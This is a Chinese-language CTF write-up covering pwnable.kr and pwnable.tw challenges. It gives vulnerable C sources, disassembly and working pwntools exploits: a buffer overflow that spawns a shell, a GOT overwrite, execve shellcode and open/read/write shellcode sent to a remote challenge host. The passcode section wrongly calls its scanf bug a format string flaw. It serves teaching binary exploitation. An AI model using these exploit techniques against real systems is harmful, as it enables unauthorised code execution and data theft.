pwn

pwnable.kr

题解

Posted by pic4xiu on June 25, 2019

分析pwnable.kr(和tw)上的题系列

fd

ssh上服务器,看到源代码,没必要下载,直接看c文件就行

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

本题就是把int fd = atoi( argv[1] ) - 0x1234;中的fd搞成0即可,让后边的read函数第一个参数为标准输入0即可,0x1234->4660,然后再输LETMEWIN就搞定了🤣,这里

fd@prowl:~$ ./fd
pass argv[1] a number
fd@prowl:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

main参数

本题分析一下main函数参数argc(参数个数),angv(参数,当成数组存储),envp(环境变量)

乱写了一堆代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char* argv[], char* envp[]){
printf("%d\n",argc);

for(int i = 0;;i++)
	if(argv[i])
	printf("%s\n",argv[i]);
	
for(int i = 0;;i++)
	if(envp[i])
	printf("%s\n",envp[i]);
return 0;
}

运行一遍可以看看具体的含义,但是不知道为啥最后输出环境变量时会Segmentation fault (core dumped),很迷,这里埋个伏笔吧,觉得是环境变量访问越界,有知道的大佬希望能指点一下本菜鸡

atoi

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
   int val;
   char str[20];
   strcpy(str, "98993489");
   val = atoi(str);
   printf("String value = %s, Int value = %d\n", str, val);
   strcpy(str, "123\n254g9i0sd235.net");
   val = atoi(str);
   printf("String value = %s, Int value = %d\n", str, val);
   return(0);
}

结果

pic@ubuntu:~/Desktop$ ./real
String value = 98993489, Int value = 98993489
String value = 123
254g9i0sd235.net, Int value = 123

read

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	int len = 0;
for(int i = -1;i < 5;i++){
	len = read(i, buf, 32);
	printf("%d:%s",i,buf);}
	return 0;
}
pic@ubuntu:~/Desktop$ ./real
q
-1:0:q
w
1:w
e
2:e
3:e
4:e

我们可以看到-1的时候read函数没有发生什么而且把标准输入的位置给占了,1,2都是正常的输入,到3的时候就不处理了,直接输出

我们看一看到底成功没有

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	int len = 0;
for(int i = -1;i < 5;i++){
	len = read(i, buf, 32);
	printf("%d time:%s and the len is %d",i,buf,len);
	printf("\n");
	}
	return 0;
}
pic@ubuntu:~/Desktop$ ./real 
-1 time: and the len is -1
q
0 time:q
 and the len is 2
w
1 time:w
 and the len is 2
e
2 time:e
 and the len is 2
3 time:e
 and the len is -1
4 time:e
 and the len is -1

通过看上边的代码和结果我们简单总结一下read函数

  • \n也会被当作输入
  • 返回值为输入长度,发生错误返回-1
  • -1的情况不太一样,和输入语境有关系??

深入分析pwnable.kr上的题系列[二]

先看这个逆向

flag

有upx壳,直接脱了,发现checksec可以直接看壳子,好强啊,膜一下这个神器

pic@ubuntu:~/Desktop$ checksec flag
[*] '/home/pic/Desktop/flag'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    Packer:   Packed with UPX

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *dest; // ST08_8

  puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
  dest = malloc(100LL);
  strcpy(dest, flag);
  return 0;
}

ida反编译结果,意思是我malloc一块然后把flag赋值到里边,然后直接看flag就完事了

这题源代码差不多长这样

#include<stdio.h>
#include<stdlib.h>
char *flag = "haha";
int main()
{
  char *dest; 
  printf("I will malloc() and strcpy the flag there. take it.");
  dest = malloc(100);
  strcpy(dest, flag);
  return 0;
}

bof

题目给的c文件

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

我们看到必须让key变成0xcafebabe我们知道调用函数时程序把参数入栈我们只需要让overflowme这个局部变量溢出即可,下面用两个工具ida和gdb调试搞一下

方法一:ida

看到key的位置在ebp+8,而char s; // [esp+1Ch] [ebp-2Ch],两者相差52字节,exp如下:

from pwn import *
p = process('./bof')
p.recvuntil('overflow me : \n')
p.sendline('a'*52+p32(0xcafebabe))
p.interactive()
pic@ubuntu:~/Desktop$ python exp.py 
[+] Starting local process './bof': pid 46987
[*] Switching to interactive mode
$ id
uid=1000(pic) gid=1000(pic) groups=1000(pic),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

总是感觉这种方法不太优雅,下面说一下gdb神器

方法二:gdb

直接s步入func里,到比较的地方

0x56555654 <func+40>    cmp    dword ptr [ebp + 8], 0xcafebabe
pwndbg> print $ebp
$1 = (void *) 0xffffd1d8
pwndbg> x/16gx 0xffffd1d8+8
0xffffd1e0:	0x00000000deadbeef	0x00000000565556b9
0xffffd1f0:	0xf7fb6000f7fb6000	0xf7df6e8100000000
0xffffd200:	0xffffd29400000001	0xffffd224ffffd29c
0xffffd210:	0x0000000000000001	0xf7fe575af7fb6000
0xffffd220:	0x00000000f7ffd000	0x00000000f7fb6000
0xffffd230:	0x40c4cae300000000	0x0000000001bc4cf3
0xffffd240:	0x0000000000000000	0x5655553000000001
0xffffd250:	0xf7feae2000000000	0x56556ff4f7fe59b0

我们看到了0xdeadbeef要和0xcafebabe比较,我们需要覆盖这个值,找一下偏移量

看一下gets函数参数,即overflowme地址,找到

   0x56555649 <func+29>    lea    eax, [ebp - 0x2c]
   0x5655564c <func+32>    mov    dword ptr [esp], eax
   0x5655564f <func+35>    call   gets <0xf7e452b0>

eax值为0xffffd1ac,然后比较一波

pwndbg> distance 0xffffd1ac 0xffffd1d8+8
0xffffd1ac->0xffffd1e0 is 0x34 bytes (0xd words)

偏移量也为0x34,结束战斗

collision

这题主要的是理解题目所给函数

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

我们看到程序让我们输入第二个参数,且参数长度为20,然后跳到check_password函数中,我们看到它把char指针转成了int指针,所以每次加一都成了加四,让20个输入的字符经过逐个相加得到特定值即可,网上找了找思路,大致都是先算,然后用echopython输入字节,然后发现一个大佬把特定字符给搞出来了

./col `echo -n -e "\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06" `
 
./col $(python -c 'print "\xc9\xce\xc5\x06"*4+"\xc8\xce\xc5\x06"')

./col `python -c "print '\x01\x01\x01\x01'*4 + '\xe8\x05\xd9\x1d'"`

./col b4_9b4_9b4_9b4e4d8ZA(大佬行为)

分析一下python这个小脚本

pic@ubuntu:~/Desktop$ (python -c 'print "\x6c\x73"')
ls
pic@ubuntu:~/Desktop$ $(python -c 'print "\x6c\x73"')
col  flag  te.py
pic@ubuntu:~/Desktop$ ls
col  flag  te.py

可以看到把ls经过转换后然后用python打印,不加$就是普通打印,加上就是ls命令,echo命令同理

深入分析pwnable.kr上的题系列[三]

random

看到这题,本质就是rand()函数的伪随机,我们在rand函数之前,未使用srand函数给种子,rand就自己调用srand(1),(其实srand(0)也是这数,我们看看这个小demo

#include <stdio.h>
int main(){
	unsigned int random;
	random = rand();
	printf("first is %p\n",random);
	for(int i =0;i<10;i++){
		srand(i);			
		random = rand();
		printf("num %d is %p\n",i,random);
		}
	return 0;
}
pic@ubuntu:~/Desktop$ ./te 
first is 0x6b8b4567
num 0 is 0x6b8b4567
num 1 is 0x6b8b4567
num 2 is 0x59b997fa
num 3 is 0x47db4e3a
num 4 is 0x754e7ddd
num 5 is 0x232add1b
num 6 is 0x11560ebd
num 7 is 0x3e52dff5
num 8 is 0x2d274378
num 9 is 0x1a7dd803

passcode

先把这个文件scp下载下来,scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode /home/pic/Desktop,pwnable上的ssh端口全都改成了2222,所以需要指定一下,下来后我们先研究一下漏洞点,c文件如下

Safeguard、operation and source code

ssh连接上去后直接运行后发现出错,我们使用scp命令从服务器下载下来源码和程序进行进一步逆向分析

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
➜  下载 ./passcode 
Toddler's Secure Login System 1.0 beta.
enter you name : 1
Welcome 1!
enter passcode1 : 1
[1]    7138 segmentation fault (core dumped)  ./passcode
#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", &passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", &passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

The program has a format string vulnerability

scanf("%d", passcode1)

想要利用这个漏洞很简单,这个漏洞原理就是如果不加&,scanf就会默认从栈中读取4字节当成passcode1的地址(好草率的说) 于是思路有了,就是把某个函数GOT地址改成system("/bin/cat flag")这个后门函数即可成功看到flag:)

思路如下:

  • 知道name和passcode1的偏移
  • 找到fflush函数的GOT地址
  • 找到我们的后门函数地址
  • 利用本程序漏洞写出利用代码

Write exp

首先利用ida查出name和passcode1的偏移,我们发现这两个变量在welcome和login中使用,两次函数的提高堆栈的操作相同,于是我们知道这两个栈使用了同一个ebp

mov     eax, offset a100s ; "%100s"
lea     edx, [ebp+var_70]
mov     [esp+4], edx
mov     [esp], eax
call    ___isoc99_scanf
mov     eax, offset aD  ; "%d"
mov     edx, [ebp+var_10]
mov     [esp+4], edx
mov     [esp], eax
call    ___isoc99_scanf

使用objdump看一下GOT表

objdump -R passcode

读一下GOT表后找到

0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0

该函数在输入passcode后自动调用,直接更改这个函数就行!通过ida看到后门函数地址

080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag

万事具备,编写exp:

from pwn import *
p = process('./passcode')
fflush_got_addr = 0x0804a004
flag_addr = 0x080485E3
payload = 'a' * 96 + p32(fflush_got_addr) + str(flag_addr)
p.send(payload)
p.interactive()

这样写并不优雅,可能部分人会认为怎么payload直接就输进去了??其实这只是凑巧了,96个字节的a加上之后的p32(fflush_got_addr)正好是100个开辟的name大小,应该是这样

sleep(1)
payload = 'a' * 96 + p32(fflush_got_addr)
p.sendline(payload)
sleep(1)
payload = str(flag_addr)
p.send(payload)

效果相同,我们用一个小demo具体说明

#include <stdio.h>
#include <stdlib.h>
void world(){
	int passcode1;
	printf("enter passcode1 : ");
	scanf("%d", &passcode1);
	printf("%d\n",passcode1);
}
void hello(){
	char name[5];
	printf("enter you name : ");
	scanf("%5s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	hello();
	world();
	return 0;	
}
pic@ubuntu:~/Desktop$ ./flag
enter you name : 123456
Welcome 12345!
enter passcode1 : 6

大致是这意思😀

深入分析pwnable.kr上的题系列[四]

mistake

本题的关键就是符号优先性,我们写个demo

#include <stdio.h>
int main(int argc, char* argv[]){
	int test;
	if(test = -1<0)
		printf("%d\n",test);
	else
		printf("??what happened\n");
	printf("%d\n",test);
	return 0;
}
pic@ubuntu:~/Desktop$ ./c
1
1

我们通过小demo看出来,其实并不是先赋值,而是先执行<在执行=,即test=(-1<0)

我们分析一下源代码

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
	int i;
	for(i=0; i<len; i++){
		s[i] ^= XORKEY;
	}
}

int main(int argc, char* argv[]){
	
	int fd;
	if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){  //open函数以只读方式打开,错误则返回-1,if语句成立,向下执行
		printf("can't open password %d\n", fd); //fd只能是1
		return 0;
	}
  //fd为0向下执行
	printf("do not bruteforce...\n");
	sleep(time(0)%20);

	char pw_buf[PW_LEN+1];
	int len;
	if(!(len=read(fd,pw_buf,PW_LEN) > 0)){  //标准读入,输入即可
		printf("read error\n");
		close(fd);
		return 0;		
	}

	char pw_buf2[PW_LEN+1];
	printf("input password : ");
	scanf("%10s", pw_buf2);

	// xor your input
	xor(pw_buf2, 10);

	if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
		printf("Password OK\n");
		system("/bin/cat flag\n");
	}
	else{
		printf("Wrong Password\n");
	}

	close(fd);
	return 0;
}

所以分析到这种程度输入就行

mistake@prowl:~$ ./mistake 
do not bruteforce...
0000000000
input password : 1111111111
Password OK
Mommy, the operator priority always confuses me :(

深入分析pwnable.kr上的题系列[五]

leg

看到本题是arm汇编,我们直接看看c代码

#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}

emmm,看不太懂,只知道key1()+key2()+key3()) == key则得到flag,直接撸汇编吧,挨个分析

(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.
int key1(){
	asm("mov r3, pc\n");
}

key1函数汇编层面只是多作了一个栈的处理,我们只需要知道pc寄存器的值,且其有读写限制,当没有超过读取限制的时候,读取的值是指令的地址加上8个字节,故返回值r0(arm返回值为r0)为0x00008ce4

(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}

我们仔细对照一下汇编和使用asm编的代码,发现有这个.code 16.code 32,这是啥??google一波发现是告诉编译器代码是arm状态还是thumb状态,不过和这题没什么关系

我们按行注释一下代码

   0x00008cfc <+12>:	add	r6, pc, #1  //r6=0x00008d05
   0x00008d00 <+16>:	bx	r6  //跳转到r6的指向,但地址会先和0xFFFFFFFE按位与,相当于jmp 0x00008d04(最后一位必为偶数)
   0x00008d04 <+20>:	mov	r3, pc  //r3=0x00008d08
   0x00008d06 <+22>:	adds	r3, #4  //r3=0x00008d0c
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3  //返回值r0=r3

结束战斗

(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.
int key3(){
	asm("mov r3, lr\n");
}

key3就是一个简单的lr寄存器当返回值,lr寄存器有两个用处

  • 保存子程序返回地址
  • 异常发生时,异常模式的r14用来保存异常返回地址

所以返回地址为 0x00008d80 <+68>: mov r3, r0,的0x00008d80

我们得到了三个返回值,直接相加即为key,为0x00008ce4+0x00008d0c+0x00008d80=108400,程序分析完毕,我们再来看看刚才提到的两个状态

ARM处理器状态

我们分析key2的时候发现gdb反编译出莫名奇妙的几行,我们深入分析一下源代码

int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n" 	//①
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"	//②
	"pop	{r6}\n"
	);
}

看到了处理①的时候下一行就是状态的切换了,之前我们知道了地址在跳转之前会和0xFFFFFFFE进行按位与,本身最后一位的作用是起到了一个标志位的作用,0代表状态arm,1代表状态thumb,所以才会显得很奇怪的加一,而最后②的转换回来考虑到lr寄存器放入的就是原本地址,故执行完 0x00008d1c <+44>: bx lr后程序又切换会了arm状态

start

➜  下载 ./start
Let's start the CTF:321
➜  下载 checksec start 
[*] '/home/pic/\xe4\xb8\x8b\xe8\xbd\xbd/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

.text:08048060 000 push    esp
.text:08048061 004 push    offset _exit
.text:08048066 008 xor     eax, eax
.text:08048068 008 xor     ebx, ebx
.text:0804806A 008 xor     ecx, ecx
.text:0804806C 008 xor     edx, edx
.text:0804806E 008 push    ':FTC'
.text:08048073 00C push    ' eht'
.text:08048078 010 push    ' tra'
.text:0804807D 014 push    'ts s'
.text:08048082 018 push    2774654Ch
.text:08048087 01C mov     ecx, esp        ; addr
.text:08048089 01C mov     dl, 14h
.text:0804808B 01C mov     bl, 1           ; fd
.text:0804808D 01C mov     al, 4
.text:0804808F 01C int     80h             ; LINUX - sys_write
.text:08048091 01C xor     ebx, ebx
.text:08048093 01C mov     dl, 3Ch
.text:08048095 01C mov     al, 3
.text:08048097 01C int     80h             ; LINUX -
.text:08048099 01C add     esp, 14h
.text:0804809C 008 retn

本题中

.text:08048087 01C mov     ecx, esp        ; addr
.text:08048089 01C mov     dl, 14h
.text:0804808B 01C mov     bl, 1           ; fd
.text:0804808D 01C mov     al, 4
.text:0804808F 01C int     80h             ; LINUX - sys_write
.text:08048091 01C xor     ebx, ebx
.text:08048093 01C mov     dl, 3Ch
.text:08048095 01C mov     al, 3
.text:08048097 01C int     80h             ; LINUX -

可以发现它让我们写 0x3C 个字符,完全可以覆盖返回地址,本题有两个系统调用,一个是sys_read(ax=3),另一个为sys_write(ax=4),因为本题的NX是关的,我们直接在栈上写shellcode即可

要做的只有:

  • 知道esp的值
  • shellcode

直接交exp

from pwn import *
context.log_level = "debug"
p = process('./start')
pay='a'*20+p32(0x08048087)
p.sendafter('CTF:',pay)
esp=u32(p.recv(4))
print hex(esp)
pay='a'*20+p32(esp+0x14)+'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
p.send(pay)
p.interactive()

同时我们要注意,第一个不能sendline,这样会破坏esp的值,其次在第二个传输的时候不要死脑筋,想着一定要布置到给定的20个字节中,直接让esp+20之后在从容的布置更加优雅

orw

➜  下载 ./orw 
Give my your shellcode:12
[1]    9368 segmentation fault (core dumped)  ./orw
➜  下载 checksec orw
[*] '/home/pic/\xe4\xb8\x8b\xe8\xbd\xbd/orw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
.text:08048548 lea     ecx, [esp+4]
.text:0804854C and     esp, 0FFFFFFF0h
.text:0804854F push    dword ptr [ecx-4]
.text:08048552 push    ebp
.text:08048553 mov     ebp, esp
.text:08048555 push    ecx
.text:08048556 sub     esp, 4
.text:08048559 call    orw_seccomp
.text:0804855E sub     esp, 0Ch
.text:08048561 push    offset aGiveMyYourShel ; "Give my your shellcode:"
.text:08048566 call    _printf
.text:0804856B add     esp, 10h
.text:0804856E sub     esp, 4
.text:08048571 push    0C8h
.text:08048576 push    offset shellcode
.text:0804857B push    0
.text:0804857D call    _read
.text:08048582 add     esp, 10h
.text:08048585 mov     eax, offset shellcode
.text:0804858A call    eax ; shellcode
.text:0804858C mov     eax, 0
.text:08048591 mov     ecx, [ebp+var_4]
.text:08048594 leave
.text:08048595 lea     esp, [ecx-4]
.text:08048598 retn

可以看到在输出字符串之前有个orw_seccomp函数,此函数用来限制系统调用,我们只能调用4个函数,不过够了,其中有open,writeread,完全可以搞定,继续看汇编代码, 打印出Give my your shellcode:后,让我们在0C8h个字节里写入数据,之后直接调用这个shellcode,行,我们的思路如下:

  • 知道flag的位置
  • 使用open打开flag文件
  • write读出文件
  • read打印出来
from pwn import *

p = remote("chall.pwnable.tw", 10001)
shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")    
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp')
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)
p.recvuntil(":")
p.send(asm(shellcode))
p.interactive()